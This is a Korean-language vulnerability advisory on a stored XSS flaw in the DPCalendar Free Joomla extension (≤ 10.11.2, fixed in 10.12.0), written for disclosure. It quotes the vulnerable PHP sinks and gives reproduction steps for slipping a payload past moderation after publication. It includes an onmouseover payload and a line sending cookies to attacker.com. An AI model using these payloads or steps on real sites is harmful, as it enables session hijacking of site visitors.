
DPCalendar Free의 Location Title을 통한 저장형 XSS
DPCalendar Free ≤ 10.11.2 — 작성자 권한 사용자가 콘텐츠 검토를 우회하여 위치 제목을 통해 지속형 XSS를 주입, 모든 방문자의 마우스 호버 시 트리거
$location->title 필드는 default_locations.php에서 htmlspecialchars() 없이 렌더링됩니다. Joomla의 서버 측 InputFilter::clean()은 문자열 필드에서 <와 를 제거하지만 는 허용하므로, 작성자(Author) 권한 사용자가 HTML 속성 컨텍스트를 벗어날 수 있습니다. 이벤트 페이지의 위치 정보 섹션에 방문자가 마우스를 올리면, 주입된 핸들러가 해당 브라우저 세션에서 임의의 JavaScript를 실행합니다.
>"onmouseover두 번째 설계 결함이 영향을 증폭시킵니다: EventController::allowEdit()는 created_by == current_user만 확인하며 이벤트 게시 상태는 확인하지 않습니다. 작성자는 무해한 이벤트를 생성하고 관리자가 이를 게시한 후, 게시 이후 연결된 위치의 제목을 조용히 편집하여 콘텐츠 검토를 완전히 우회하고 위치를 무기화할 수 있습니다. XSS 페이로드는 검토 이후에 삽입되므로 관리자는 검토 과정에서 이를 절대 볼 수 없습니다.
| 구성 요소 | 취약 버전 | 테스트 환경 | 수정 버전 |
|---|---|---|---|
| DPCalendar Free | ≤ 10.11.2 | Joomla 6.1.2 + DPCalendar Free 10.11.2 (PHP 8.3 / Apache) | 10.12.0 |
유형: 저장형 크로스 사이트 스크립팅 / 부적절한 출력 인코딩 (CWE-79)
필요한 인증: 작성자(Author) 역할 — 프론트엔드 사용자 (Joomla 그룹 4, 이벤트 생성에 필요한 최소 권한)
파일: site/tmpl/event/default_locations.php
$location->title은 default_locations.php의 두 출력 컨텍스트에서 htmlspecialchars() 없이 직접 출력됩니다. 속성 컨텍스트가 웹 UI를 통해 악용 가능한 싱크이며, Joomla의 InputFilter가 <>는 차단하지만 "는 변경 없이 통과시키기 때문입니다.
DEFAULT_LOCATIONS.PHP — 취약한 출력 싱크
// 싱크 1 — 텍스트 콘텐츠 (HTML 주입; 웹 UI를 통한 InputFilter가 <> 제거)
<span class="dp-location__title"><?php echo $location->title; ?></span>
// 싱크 2 — HTML 속성 (속성 주입; "는 InputFilter를 통과)
<div class="dp-location__details"
data-title="<?php echo $location->title; ?>"
New Location" onmouseover="alert(document.domain) 값의 제목은 서버에 온전히 저장됩니다. 출력 시 싱크 2는 다음과 같이 렌더링됩니다:
<div class="dp-location__details"
data-title="New Location" onmouseover="alert(document.domain)"
onmouseover 속성은 렌더링된 DOM에서 활성 이벤트 핸들러가 됩니다.
EventController::allowEdit()는 게시 상태와 관계없이 작성자에게 자신의 이벤트에 대한 편집 권한을 부여합니다. 공격자는 관리자 검토를 위해 일반 이벤트를 제출하여 신뢰를 구축한 후, 관리자가 게시한 뒤 연결된 위치를 조용히 편집하여 XSS 페이로드를 주입합니다:
SITE/SRC/CONTROLLER/EVENTCONTROLLER.PHP — ALLOWEDIT() 상태 확인 누락
protected function allowEdit($data = [], $key = 'id')
{
// ...
return $calendar instanceof CalendarInterface &&
($calendar->canEdit() ||
($calendar->canEditOwn() &&
$event->created_by == $this->getCurrentUser()->id));
// ↑ $event->state에 대한 확인 없음 — 게시된 이벤트도 작성자가 편집 가능
}
프론트엔드 로그인 양식으로 이동하여 작성자 계정(Joomla 그룹 4 — 이벤트 및 위치 생성에 필요한 최소 권한)으로 로그인합니다.

/index.php?option=com_dpcalendar&view=form으로 이동합니다. 깨끗한 제목의 이벤트를 생성하고 기존 위치(예: "Greater London")를 연결합니다. 이는 페이로드가 도입되기 전에 작성자의 정당성을 확립합니다.


이벤트가 검토를 위해 제출됩니다. 관리자가 로그인하여 DPCalendar 백엔드에서 이벤트를 게시합니다. 이제 이벤트가 활성화되어 모든 사이트 방문자에게 표시됩니다.

작성자로서 게시된 이벤트 페이지로 이동합니다. 이벤트 편집 버튼이 계속 표시됩니다 — allowEdit()는 게시 상태를 확인하지 않습니다. 이벤트 편집을 클릭하고 위치 탭으로 이동한 후 연필 아이콘을 클릭하여 locationform을 엽니다.

위치 이름을 페이로드로 교체합니다. Joomla의 InputFilter는 "를 통과시키므로 페이로드가 온전히 저장되고 출력 시 HTML 속성 컨텍스트를 깨뜨립니다:
페이로드 — 제목 필드 (LOCATIONFORM)
New Location" onmouseover="alert(document.domain)

저장을 클릭합니다.
인증된 사용자든 익명 사용자든 이벤트 상세 페이지를 방문하여 위치 정보 섹션에 커서를 이동하면 주입된 onmouseover 핸들러가 즉시 실행됩니다. 페이지 방문 외에 인증, 클릭 또는 추가 상호작용이 필요하지 않습니다.

원시 페이로드는 이벤트 페이지의 위치 섹션에 표시됩니다 — 이스케이프되지 않은 제목이 활성 HTML 속성으로 렌더링됩니다:

위치 섹션 위로 마우스를 이동하면 익명 방문자의 브라우저에서 경고 대화상자가 실행됩니다:

세션 하이재킹 — 주입된 핸들러는 fetch('//attacker.com/?c='+document.cookie)를 통해 피해자의 세션 쿠키를 유출하여, 이벤트를 보는 모든 역할의 계정을 완전히 탈취할 수 있습니다.
지속적이고 이벤트 범위의 공격 표면 — 페이로드는 위치 제목이 수동으로 수정될 때까지 지속됩니다. 이벤트 페이지를 방문하는 모든 사용자(익명 방문자 포함)가 노출됩니다. 트래픽이 많은 이벤트(공개 컨퍼런스, 예약 페이지)는 피해자 수를 배가시킵니다.
게시 후 신뢰 우회 — 작성자가 관리자 승인 후 위치를 조용히 수정할 수 있으므로 페이로드는 콘텐츠 검토 중에 절대 노출되지 않습니다. 무해한 이벤트는 검열을 통과하고 XSS는 이후에 삽입됩니다.